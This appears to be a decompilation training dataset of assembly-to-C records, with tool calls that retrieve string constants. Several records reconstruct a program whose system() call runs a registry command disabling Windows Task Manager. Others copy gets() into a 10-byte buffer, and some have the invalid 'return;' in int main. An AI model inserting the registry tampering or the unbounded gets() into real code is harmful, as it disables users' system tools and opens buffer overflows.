ylfeng/ReF-Decompile-dataset huggingface dataset:
user: Translate the below assembly code into C programming language:

```asm
<kusleep>:
  endbr64
  push   %rbp
  mov    %edi,%eax
  push   %rbx
  movslq %edi,%rbx
  sar    $0x1f,%eax
  imul   $0xffffffffea0ea0eb,%rbx,%rbx
  sub    $0x8,%rsp
  shr    $0x20,%rbx
  add    %edi,%ebx
  sar    $0x7,%ebx
  sub    %eax,%ebx
  cmp    $0x8b,%edi
  jle    L5
  nopl   0x0(%rax)
L15:
  mov    $0x28,%ebp
  cmp    %ebp,%ebx
  cmovle %ebx,%ebp
  mov    %ebp,%edi
  sub    %ebp,%ebx
  call   <kdelay@plt>
  test   %ebx,%ebx
  jg     L15
L5:
  add    $0x8,%rsp
  pop    %rbx
  pop    %rbp
  ret
```

assistant: ```c
void kusleep(int time) {
  int kdelay_units = time / 140;
  while (kdelay_units > 0) {
    int nbunits = kdelay_units < 40 ? kdelay_units : 40;
    kdelay(nbunits);
    kdelay_units -= nbunits;
  }
}
```
user: Please show me the C implementation that matches the assembly code listed below:

```asm
<run_bad_input_tests>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  lea    D17(%rip),%rax
  mov    %rax,%rdi
  call   <parse_expression@plt>
  lea    D10(%rip),%rax
  mov    %rax,%rdi
  call   <parse_expression@plt>
  nop
  pop    %rbp
  ret
```

tool_calls: name: read_data
arguments: data_tag: D17
type_guessed: string
name: read_data
arguments: data_tag: D10
type_guessed: string

tool: D17: 1 **/ 34 

tool: D10: 6.0 (6.0)

assistant: ```c
void run_bad_input_tests() {
  parse_expression("1 **/ 34 ");
  parse_expression("6.0 (6.0)");
}
```
user: Demonstrate the C code that generates the assembly output below:

```asm
<run_bad_input_tests>:
  endbr64
  sub    $0x8,%rsp
  lea    D0(%rip),%rdi
  call   <parse_expression@plt>
  lea    D6(%rip),%rdi
  call   <parse_expression@plt>
  add    $0x8,%rsp
  ret
```

tool_calls: name: extract_symbolic_data
arguments: data_tag: D0
type_guessed: string
name: extract_symbolic_data
arguments: data_tag: D6
type_guessed: string

tool: D0: 1 **/ 34 

tool: D6: 6.0 (6.0)

assistant: ```c
void run_bad_input_tests() {
  parse_expression("1 **/ 34 ");
  parse_expression("6.0 (6.0)");
}
```
user: Please show me the C implementation that matches the assembly code listed below:

```asm
<run_bad_input_tests>:
  endbr64
  sub    $0x8,%rsp
  lea    D1(%rip),%rdi
  call   <parse_expression@plt>
  lea    D4(%rip),%rdi
  add    $0x8,%rsp
  jmp    1050 <parse_expression@plt>
```

tool_calls: name: retrieve_data
arguments: data_label: D1
datatype: string
name: retrieve_data
arguments: data_label: D4
datatype: string

tool: D1: 1 **/ 34 

tool: D4: 6.0 (6.0)

assistant: ```c
void run_bad_input_tests() {
  parse_expression("1 **/ 34 ");
  parse_expression("6.0 (6.0)");
}
```
user: Please show me the C implementation that matches the assembly code listed below:

```asm
<run_bad_input_tests>:
  endbr64
  sub    $0x8,%rsp
  lea    D8(%rip),%rdi
  call   <parse_expression@plt>
  lea    D0(%rip),%rdi
  add    $0x8,%rsp
  jmp    1050 <parse_expression@plt>
```

tool_calls: name: retrieve_data
arguments: tag: D8
type_guessed: string
name: retrieve_data
arguments: tag: D0
type_guessed: string

tool: D8: 1 **/ 34 

tool: D0: 6.0 (6.0)

assistant: ```c
void run_bad_input_tests() {
  parse_expression("1 **/ 34 ");
  parse_expression("6.0 (6.0)");
}
```
user: 请从给定的汇编指令推导出C源代码:

```asm
<get_next_token>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  mov    %rdi,-0x18(%rbp)
  mov    %esi,%eax
  mov    %al,-0x1c(%rbp)
  mov    -0x18(%rbp),%rax
  mov    %rax,-0x8(%rbp)
  movl   $0x0,-0xc(%rbp)
  jmp    L21
L77:
  cmpl   $0x0,-0xc(%rbp)
  jne    L68
  mov    -0x8(%rbp),%rax
  movzbl (%rax),%eax
  cmp    $0x5b,%al
  jne    L68
  movl   $0x1,-0xc(%rbp)
  jmp    L82
L68:
  cmpl   $0x0,-0xc(%rbp)
  je     L35
  mov    -0x8(%rbp),%rax
  movzbl (%rax),%eax
  cmp    $0x5d,%al
  jne    L35
  movl   $0x0,-0xc(%rbp)
  jmp    L82
L35:
  cmpl   $0x0,-0xc(%rbp)
  jne    L82
  mov    -0x8(%rbp),%rax
  movzbl (%rax),%eax
  cmp    %al,-0x1c(%rbp)
  jne    L82
  mov    -0x8(%rbp),%rax
  jmp    L81
L82:
  addq   $0x1,-0x8(%rbp)
L21:
  mov    -0x8(%rbp),%rax
  movzbl (%rax),%eax
  test   %al,%al
  jne    L77
  mov    $0x0,%eax
L81:
  pop    %rbp
  ret
```

assistant: ```c
char *get_next_token(char *workingstr, char separator) {
  char *current = workingstr;
  int in_bracket = 0;
  while (*current) {
    if (!in_bracket && (*current == '['))
      in_bracket = 1;
    else if (in_bracket && (*current == ']'))
      in_bracket = 0;
    else if (!in_bracket && (*current == separator))
      return current;
    current++;
  }
  return NULL;
}
```
user: 请从给定的汇编指令推导出C源代码:

```asm
<get_next_token>:
  endbr64
  movzbl (%rdi),%edx
  test   %dl,%dl
  je     L80
  mov    $0x0,%ecx
  mov    $0x0,%r9d
  mov    $0x1,%r8d
  jmp    L74
L56:
  mov    %r8d,%ecx
L72:
  add    $0x1,%rdi
  movzbl (%rdi),%edx
  test   %dl,%dl
  je     L1
L74:
  test   %ecx,%ecx
  sete   %al
  cmp    $0x5b,%dl
  jne    L52
  test   %al,%al
  jne    L56
L52:
  cmp    $0x5d,%dl
  jne    L64
  test   %ecx,%ecx
  jne    L3
L64:
  cmp    %dl,%sil
  jne    L72
  test   %al,%al
  je     L72
  mov    %rdi,%rax
  ret
L3:
  mov    %r9d,%ecx
  jmp    L72
L1:
  mov    $0x0,%eax
  ret
L80:
  mov    $0x0,%eax
  ret
```

assistant: ```c
char *get_next_token(char *workingstr, char separator) {
  char *current = workingstr;
  int in_bracket = 0;
  while (*current) {
    if (!in_bracket && (*current == '['))
      in_bracket = 1;
    else if (in_bracket && (*current == ']'))
      in_bracket = 0;
    else if (!in_bracket && (*current == separator))
      return current;
    current++;
  }
  return NULL;
}
```
user: Converte this assembly snippet into its equivalent C code:

```asm
<get_next_token>:
  endbr64
  movzbl (%rdi),%eax
L53:
  test   %al,%al
  je     L45
  mov    %rdi,%r8
L48:
  cmp    $0x5b,%al
  je     L0
  cmp    %al,%sil
  je     L3
  movzbl 0x1(%r8),%eax
  add    $0x1,%r8
  test   %al,%al
  jne    L48
L45:
  xor    %r8d,%r8d
L3:
  mov    %r8,%rax
  ret
  nopl   0x0(%rax,%rax,1)
L0:
  movzbl 0x1(%r8),%eax
  lea    0x1(%r8),%rdi
  test   %al,%al
  je     L45
L72:
  mov    %eax,%edx
  add    $0x1,%rdi
  movzbl (%rdi),%eax
  cmp    $0x5d,%dl
  je     L53
  test   %al,%al
  jne    L72
  jmp    L45
```

assistant: ```c
char *get_next_token(char *workingstr, char separator) {
  char *current = workingstr;
  int in_bracket = 0;
  while (*current) {
    if (!in_bracket && (*current == '['))
      in_bracket = 1;
    else if (in_bracket && (*current == ']'))
      in_bracket = 0;
    else if (!in_bracket && (*current == separator))
      return current;
    current++;
  }
  return NULL;
}
```
user: 下面的汇编指令对应的C源代码是什么:

```asm
<get_next_token>:
  endbr64
  movzbl (%rdi),%eax
L54:
  test   %al,%al
  je     L30
  mov    %rdi,%r8
L69:
  cmp    $0x5b,%al
  je     L71
  cmp    %al,%sil
  je     L51
  movzbl 0x1(%r8),%eax
  add    $0x1,%r8
  test   %al,%al
  jne    L69
L30:
  xor    %r8d,%r8d
L51:
  mov    %r8,%rax
  ret
  nopl   0x0(%rax,%rax,1)
L71:
  movzbl 0x1(%r8),%eax
  lea    0x1(%r8),%rdi
  test   %al,%al
  je     L30
L43:
  mov    %eax,%edx
  add    $0x1,%rdi
  movzbl (%rdi),%eax
  cmp    $0x5d,%dl
  je     L54
  test   %al,%al
  jne    L43
  jmp    L30
```

assistant: ```c
char *get_next_token(char *workingstr, char separator) {
  char *current = workingstr;
  int in_bracket = 0;
  while (*current) {
    if (!in_bracket && (*current == '['))
      in_bracket = 1;
    else if (in_bracket && (*current == ']'))
      in_bracket = 0;
    else if (!in_bracket && (*current == separator))
      return current;
    current++;
  }
  return NULL;
}
```
user: 提供的汇编代码用C语言表示会是什么样子:

```asm
<main>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0xfd0,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
L134:
  lea    -0xfc8(%rbp),%rdx
  lea    -0xfc4(%rbp),%rax
  mov    %rax,%rsi
  lea    D0(%rip),%rax
  mov    %rax,%rdi
  call   <scanf@plt>
  mov    -0xfc8(%rbp),%eax
  test   %eax,%eax
  jne    L138
  mov    -0xfc4(%rbp),%eax
  test   %eax,%eax
  je     L68
L138:
  movl   $0x0,-0xfb4(%rbp)
  jmp    L51
L3:
  mov    -0xfb4(%rbp),%eax
  cltq
  movl   $0x0,-0xfb0(%rbp,%rax,4)
  addl   $0x1,-0xfb4(%rbp)
L51:
  mov    -0xfc4(%rbp),%eax
  cmp    %eax,-0xfb4(%rbp)
  jl     L3
  movl   $0x0,-0xfc0(%rbp)
  movl   $0x0,-0xfb8(%rbp)
  movl   $0x0,-0xfbc(%rbp)
  jmp    L79
L36:
  addl   $0x1,-0xfb8(%rbp)
  mov    -0xfc4(%rbp),%eax
  cmp    %eax,-0xfb8(%rbp)
  jne    L13
  movl   $0x0,-0xfb8(%rbp)
L13:
  mov    -0xfb8(%rbp),%eax
  cltq
  mov    -0xfb0(%rbp,%rax,4),%eax
  test   %eax,%eax
  jne    L36
  addl   $0x1,-0xfb8(%rbp)
  mov    -0xfc4(%rbp),%eax
  cmp    %eax,-0xfb8(%rbp)
  jne    L48
  movl   $0x0,-0xfb8(%rbp)
L48:
  addl   $0x1,-0xfc0(%rbp)
L151:
  mov    -0xfc8(%rbp),%eax
  cmp    %eax,-0xfc0(%rbp)
  jl     L13
  cmpl   $0x0,-0xfb8(%rbp)
  jne    L44
  mov    -0xfc4(%rbp),%eax
  sub    $0x1,%eax
  cltq
  movl   $0x1,-0xfb0(%rbp,%rax,4)
  jmp    L150
L44:
  mov    -0xfb8(%rbp),%eax
  sub    $0x1,%eax
  cltq
  movl   $0x1,-0xfb0(%rbp,%rax,4)
L150:
  addl   $0x1,-0xfbc(%rbp)
  movl   $0x0,-0xfc0(%rbp)
L79:
  mov    -0xfc4(%rbp),%eax
  sub    $0x1,%eax
  cmp    %eax,-0xfbc(%rbp)
  jl     L151
  jmp    L124
L31:
  addl   $0x1,-0xfb8(%rbp)
  mov    -0xfc4(%rbp),%eax
  cmp    %eax,-0xfb8(%rbp)
  jne    L124
  movl   $0x0,-0xfb8(%rbp)
L124:
  mov    -0xfb8(%rbp),%eax
  cltq
  mov    -0xfb0(%rbp,%rax,4),%eax
  test   %eax,%eax
  jne    L31
  mov    -0xfb8(%rbp),%eax
  add    $0x1,%eax
  mov    %eax,%esi
  lea    D4(%rip),%rax
  mov    %rax,%rdi
  call   <printf@plt>
  jmp    L134
L68:
  nop
  mov    $0x0,%eax
  mov    -0x8(%rbp),%rdx
  sub    %fs:0x28,%rdx
  je     L169
  call   <__stack_chk_fail@plt>
L169:
  leave
  ret
```

tool_calls: name: extract_symbolic_data
arguments: data_tag: D0
data_type: string
name: extract_symbolic_data
arguments: data_tag: D4
data_type: string

tool: D0: %d %d

tool: D4: %d


assistant: ```c
int main(void) {
  int m, n, player[1000], count, out, potato, i;
  while (1) {
    scanf("%d %d", &n, &m);
    if (m == 0 && n == 0)
      break;
    for (i = 0; i < n; i++)
      player[i] = 0;
    count = 0, potato = 0, out = 0;
    while (out < n - 1) {
      while (count < m) {
        while (player[potato] != 0) {
          potato++;
          if (potato == n)
            potato = 0;
        }
        potato++;
        if (potato == n)
          potato = 0;
        count++;
      }
      if (potato == 0) {
        player[n - 1] = 1;
      } else {
        player[potato - 1] = 1;
      }
      out++;
      count = 0;
    }
    while (player[potato] != 0) {
      potato++;
      if (potato == n)
        potato = 0;
    }
    printf("%d\n", potato + 1);
  }
  return 0;
}
```
user: 下面的汇编指令对应的C源代码是什么:

```asm
<main>:
  endbr64
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  sub    $0xfc8,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,0xfb8(%rsp)
  xor    %eax,%eax
  lea    0x8(%rsp),%r13
  lea    0xc(%rsp),%r12
  lea    D12(%rip),%rbp
  lea    D11(%rip),%rbx
  jmp    L88
L131:
  add    $0x1,%edx
  cmp    %edx,%esi
  cmove  %ecx,%edx
  add    $0x1,%edi
  cmp    %edi,%r8d
  je     L86
L22:
  movslq %edx,%rax
L46:
  mov    %eax,%edx
  mov    0x10(%rsp,%rax,4),%ecx
  test   %ecx,%ecx
  je     L131
  add    $0x1,%rax
  mov    $0x0,%edx
  cmp    %eax,%esi
  jne    L46
  jmp    L22
L86:
  test   %edx,%edx
  jne    L140
  movl   $0x1,0x10(%rsp,%r10,4)
L50:
  add    $0x1,%r9d
  cmp    %r11d,%r9d
  je     L179
L39:
  mov    $0x0,%edi
  test   %r8d,%r8d
  jg     L22
  jmp    L86
L140:
  lea    -0x1(%rdx),%eax
  cltq
  movl   $0x1,0x10(%rsp,%rax,4)
  jmp    L50
L27:
  mov    $0x0,%edx
L179:
  lea    0x10(%rsp),%rcx
L72:
  movslq %edx,%rax
L94:
  cmpl   $0x0,(%rcx,%rax,4)
  je     L11
  add    $0x1,%rax
  mov    $0x0,%edx
  cmp    %eax,%esi
  jne    L94
  jmp    L72
L11:
  lea    0x1(%rax),%esi
  mov    %rbx,%rdi
  call   <printf@plt>
L88:
  mov    %r13,%rdx
  mov    %r12,%rsi
  mov    %rbp,%rdi
  call   <scanf@plt>
  mov    0x8(%rsp),%r8d
  mov    0xc(%rsp),%esi
  mov    %r8d,%eax
  or     %esi,%eax
  je     L15
  test   %esi,%esi
  jle    L186
  lea    0x10(%rsp),%rax
  lea    -0x1(%rsi),%edx
  lea    0x14(%rsp,%rdx,4),%rdx
L12:
  movl   $0x0,(%rax)
  add    $0x4,%rax
  cmp    %rdx,%rax
  jne    L12
L186:
  lea    -0x1(%rsi),%r10d
  test   %r10d,%r10d
  jle    L27
  mov    %r10d,%r11d
  mov    $0x0,%edx
  mov    $0x0,%r9d
  movslq %r10d,%r10
  jmp    L39
L15:
  mov    0xfb8(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L83
  mov    $0x0,%eax
  add    $0xfc8,%rsp
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  ret
L83:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: extract_symbolic_data
arguments: data_label: D12
type: string
name: extract_symbolic_data
arguments: data_label: D11
type: string

tool: D12: %d %d

tool: D11: %d


assistant: ```c
int main(void) {
  int m, n, player[1000], count, out, potato, i;
  while (1) {
    scanf("%d %d", &n, &m);
    if (m == 0 && n == 0)
      break;
    for (i = 0; i < n; i++)
      player[i] = 0;
    count = 0, potato = 0, out = 0;
    while (out < n - 1) {
      while (count < m) {
        while (player[potato] != 0) {
          potato++;
          if (potato == n)
            potato = 0;
        }
        potato++;
        if (potato == n)
          potato = 0;
        count++;
      }
      if (potato == 0) {
        player[n - 1] = 1;
      } else {
        player[potato - 1] = 1;
      }
      out++;
      count = 0;
    }
    while (player[potato] != 0) {
      potato++;
      if (potato == n)
        potato = 0;
    }
    printf("%d\n", potato + 1);
  }
  return 0;
}
```
user: Demonstrate the C code that generates the assembly output below:

```asm
<main>:
  endbr64
  push   %r15
  push   %r14
  push   %r13
  push   %r12
  push   %rbp
  push   %rbx
  lea    D0(%rip),%rbx
  sub    $0xfc8,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,0xfb8(%rsp)
  xor    %eax,%eax
  lea    0x8(%rsp),%r12
  lea    0xc(%rsp),%rbp
L141:
  mov    %r12,%rdx
  mov    %rbp,%rsi
  mov    %rbx,%rdi
  call   <scanf@plt>
  mov    0x8(%rsp),%r13d
  mov    0xc(%rsp),%r14d
  mov    %r13d,%eax
  or     %r14d,%eax
  je     L66
  test   %r14d,%r14d
  jle    L90
  movslq %r14d,%rdx
  lea    0x10(%rsp),%rdi
  xor    %esi,%esi
  shl    $0x2,%rdx
  call   <memset@plt>
  mov    %rax,%rdi
L19:
  lea    -0x1(%r14),%r8d
  xor    %edx,%edx
  test   %r8d,%r8d
  jle    L168
  xor    %r10d,%r10d
  xor    %r9d,%r9d
  movslq %r8d,%r11
L21:
  xor    %esi,%esi
  test   %r13d,%r13d
  jle    L94
  nopw   0x0(%rax,%rax,1)
L146:
  mov    %r8d,%ecx
  lea    0x1(%rdx),%eax
  movslq %edx,%r15
  sub    %edx,%ecx
  cltq
  lea    0x2(%r15,%rcx,1),%rcx
  jmp    L17
  nopl   0x0(%rax)
L26:
  add    $0x1,%rax
  xor    %edx,%edx
  cmp    %rcx,%rax
  je     L146
L17:
  mov    -0x4(%rdi,%rax,4),%r15d
  movslq %eax,%rdx
  test   %r15d,%r15d
  jne    L26
  cmp    %edx,%r14d
  cmove  %r9,%rdx
  add    $0x1,%esi
  cmp    %esi,%r13d
  jne    L146
L94:
  test   %edx,%edx
  jne    L42
  movl   $0x1,0x10(%rsp,%r11,4)
L91:
  add    $0x1,%r10d
  cmp    %r10d,%r8d
  jne    L21
L168:
  mov    %r8d,%ecx
  lea    0x1(%rdx),%eax
  sub    %edx,%ecx
  cltq
  lea    0x2(%rcx,%rdx,1),%rcx
  jmp    L36
  cs nopw 0x0(%rax,%rax,1)
L76:
  add    $0x1,%rax
  xor    %edx,%edx
  cmp    %rcx,%rax
  je     L168
L36:
  mov    -0x4(%rdi,%rax,4),%edx
  mov    %eax,%esi
  test   %edx,%edx
  jne    L76
  lea    D19(%rip),%rdi
  call   <printf@plt>
  jmp    L141
L42:
  lea    -0x1(%rdx),%eax
  cltq
  movl   $0x1,0x10(%rsp,%rax,4)
  jmp    L91
L90:
  lea    0x10(%rsp),%rdi
  jmp    L19
L66:
  mov    0xfb8(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L163
  add    $0xfc8,%rsp
  xor    %eax,%eax
  pop    %rbx
  pop    %rbp
  pop    %r12
  pop    %r13
  pop    %r14
  pop    %r15
  ret
L163:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: extract_symbolic_data
arguments: data_tag: D0
type: string
name: extract_symbolic_data
arguments: data_tag: D19
type: string

tool: D0: %d %d

tool: D19: %d


assistant: ```c
int main(void) {
  int m, n, player[1000], count, out, potato, i;
  while (1) {
    scanf("%d %d", &n, &m);
    if (m == 0 && n == 0)
      break;
    for (i = 0; i < n; i++)
      player[i] = 0;
    count = 0, potato = 0, out = 0;
    while (out < n - 1) {
      while (count < m) {
        while (player[potato] != 0) {
          potato++;
          if (potato == n)
            potato = 0;
        }
        potato++;
        if (potato == n)
          potato = 0;
        count++;
      }
      if (potato == 0) {
        player[n - 1] = 1;
      } else {
        player[potato - 1] = 1;
      }
      out++;
      count = 0;
    }
    while (player[potato] != 0) {
      potato++;
      if (potato == n)
        potato = 0;
    }
    printf("%d\n", potato + 1);
  }
  return 0;
}
```
user: 请显示与下面列出的汇编代码相匹配的C语言实现：

```asm
<rk31sdk_get_sdmmc0_pin_io_voltage>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  movl   $0xce4,-0x4(%rbp)
  mov    -0x4(%rbp),%eax
  pop    %rbp
  ret
```

assistant: ```c
int rk31sdk_get_sdmmc0_pin_io_voltage(void) {
  int voltage;
  voltage = 3300;
  return voltage;
}
```
user: Converte this assembly snippet into its equivalent C code:

```asm
<main>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  lea    D6(%rip),%rax
  mov    %rax,%rdi
  call   <system@plt>
  nop
  nop
  pop    %rbp
  ret
```

tool_calls: name: unpack_data
arguments: data_label: D6
type_infered: string

tool: D6: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

assistant: ```c
int main() {
  system("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f");
  return;
}
```
user: Translate the below assembly code into C programming language:

```asm
<main>:
  endbr64
  sub    $0x8,%rsp
  lea    D3(%rip),%rdi
  call   <system@plt>
  add    $0x8,%rsp
  ret
```

tool_calls: name: retrieve_data
arguments: data_tag: D3
type_infered: string

tool: D3: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

assistant: ```c
int main() {
  system("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f");
  return;
}
```
user: 这段汇编代码用C语言表示是什么样的？

```asm
<main>:
  endbr64
  lea    D1(%rip),%rdi
  jmp    1050 <system@plt>
```

tool_calls: name: parse_data
arguments: tag: D1
type_infered: string

tool: D1: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

assistant: ```c
int main() {
  system("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f");
  return;
}
```
user: 请从给定的汇编指令推导出C源代码：

```asm
<main>:
  endbr64
  lea    D2(%rip),%rdi
  jmp    1050 <system@plt>
```

tool_calls: name: retrieve_data
arguments: tag: D2
data_type: string

tool: D2: REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f

assistant: ```c
int main() {
  system("REG add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f");
  return;
}
```
user: What would the C source look like for the assembly code provided here?

```asm
<main>:
  endbr64
  push   %rbp
  mov    %rsp,%rbp
  sub    $0x20,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,-0x8(%rbp)
  xor    %eax,%eax
  lea    D12(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  lea    -0x12(%rbp),%rax
  mov    %rax,%rdi
  call   <gets@plt>
  lea    D26(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  lea    -0x19(%rbp),%rax
  mov    %rax,%rsi
  lea    D7(%rip),%rax
  mov    %rax,%rdi
  call   <scanf@plt>
  movzbl -0x19(%rbp),%eax
  movsbl %al,%edx
  lea    -0x12(%rbp),%rax
  mov    %edx,%esi
  mov    %rax,%rdi
  call   <totalpos@plt>
  mov    %eax,-0x18(%rbp)
  mov    -0x18(%rbp),%eax
  mov    %eax,%esi
  lea    D6(%rip),%rax
  mov    %rax,%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  mov    $0x0,%eax
  mov    -0x8(%rbp),%rdx
  sub    %fs:0x28,%rdx
  je     L6
  call   <__stack_chk_fail@plt>
L6:
  leave
  ret
```

tool_calls: name: disassemble_data
arguments: data_tag: D12
datatype: string
name: disassemble_data
arguments: data_tag: D26
datatype: string
name: disassemble_data
arguments: data_tag: D7
datatype: string
name: disassemble_data
arguments: data_tag: D6
datatype: string

tool: D12: entre com uma frase: 

tool: D26: entre com uma letra: 

tool: D7:  %c

tool: D6: resposta = %d

assistant: ```c
int main() {
  int resp;
  char txt[10], let;
  printf("entre com uma frase: ");
  gets(txt);
  printf("entre com uma letra: ");
  scanf(" %c", &let);
  resp = totalpos(&txt[0], let);
  printf("resposta = %d", resp);
}
```
user: Demonstrate the C code that generates the assembly output below:

```asm
<main>:
  endbr64
  push   %rbx
  sub    $0x20,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,0x18(%rsp)
  xor    %eax,%eax
  lea    D18(%rip),%rdi
  call   <printf@plt>
  lea    0xe(%rsp),%rbx
  mov    %rbx,%rdi
  call   <gets@plt>
  lea    D3(%rip),%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  lea    0xd(%rsp),%rsi
  lea    D11(%rip),%rdi
  call   <scanf@plt>
  movsbl 0xd(%rsp),%esi
  mov    %rbx,%rdi
  call   <totalpos@plt>
  mov    %eax,%esi
  lea    D7(%rip),%rdi
  mov    $0x0,%eax
  call   <printf@plt>
  mov    0x18(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L9
  mov    $0x0,%eax
  add    $0x20,%rsp
  pop    %rbx
  ret
L9:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: extract_symbolic_data
arguments: data_tag: D18
type: string
name: extract_symbolic_data
arguments: data_tag: D3
type: string
name: extract_symbolic_data
arguments: data_tag: D11
type: string
name: extract_symbolic_data
arguments: data_tag: D7
type: string

tool: D18: entre com uma frase: 

tool: D3: entre com uma letra: 

tool: D11:  %c

tool: D7: resposta = %d

assistant: ```c
int main() {
  int resp;
  char txt[10], let;
  printf("entre com uma frase: ");
  gets(txt);
  printf("entre com uma letra: ");
  scanf(" %c", &let);
  resp = totalpos(&txt[0], let);
  printf("resposta = %d", resp);
}
```
user: 请从给定的汇编指令推导出C源代码：

```asm
<main>:
  endbr64
  push   %rbp
  lea    D0(%rip),%rdi
  sub    $0x20,%rsp
  mov    %fs:0x28,%rax
  mov    %rax,0x18(%rsp)
  xor    %eax,%eax
  lea    0xe(%rsp),%rbp
  call   <printf@plt>
  mov    %rbp,%rdi
  call   <gets@plt>
  lea    D27(%rip),%rdi
  xor    %eax,%eax
  call   <printf@plt>
  lea    0xd(%rsp),%rsi
  lea    D15(%rip),%rdi
  call   <scanf@plt>
  movsbl 0xd(%rsp),%esi
  mov    %rbp,%rdi
  call   <totalpos@plt>
  lea    D1(%rip),%rdi
  mov    %eax,%esi
  xor    %eax,%eax
  call   <printf@plt>
  mov    0x18(%rsp),%rax
  sub    %fs:0x28,%rax
  jne    L3
  add    $0x20,%rsp
  xor    %eax,%eax
  pop    %rbp
  ret
L3:
  call   <__stack_chk_fail@plt>
```

tool_calls: name: read_data
arguments: label: D0
datatype: string
name: read_data
arguments: label: D27
datatype: string
name: read_data
arguments: label: D15
datatype: string
name: read_data
arguments: label: D1
datatype: string

tool: D0: entre com uma frase: 

tool: D27: entre com uma letra: 

tool: D15:  %c

tool: D1: resposta = %d

assistant: ```c
int main() {
  int resp;
  char txt[10], let;
  printf("entre com uma frase: ");
  gets(txt);
  printf("entre com uma letra: ");
  scanf(" %c", &let);
  resp = totalpos(&txt[0], let);
  printf("resposta = %d", resp);
}
```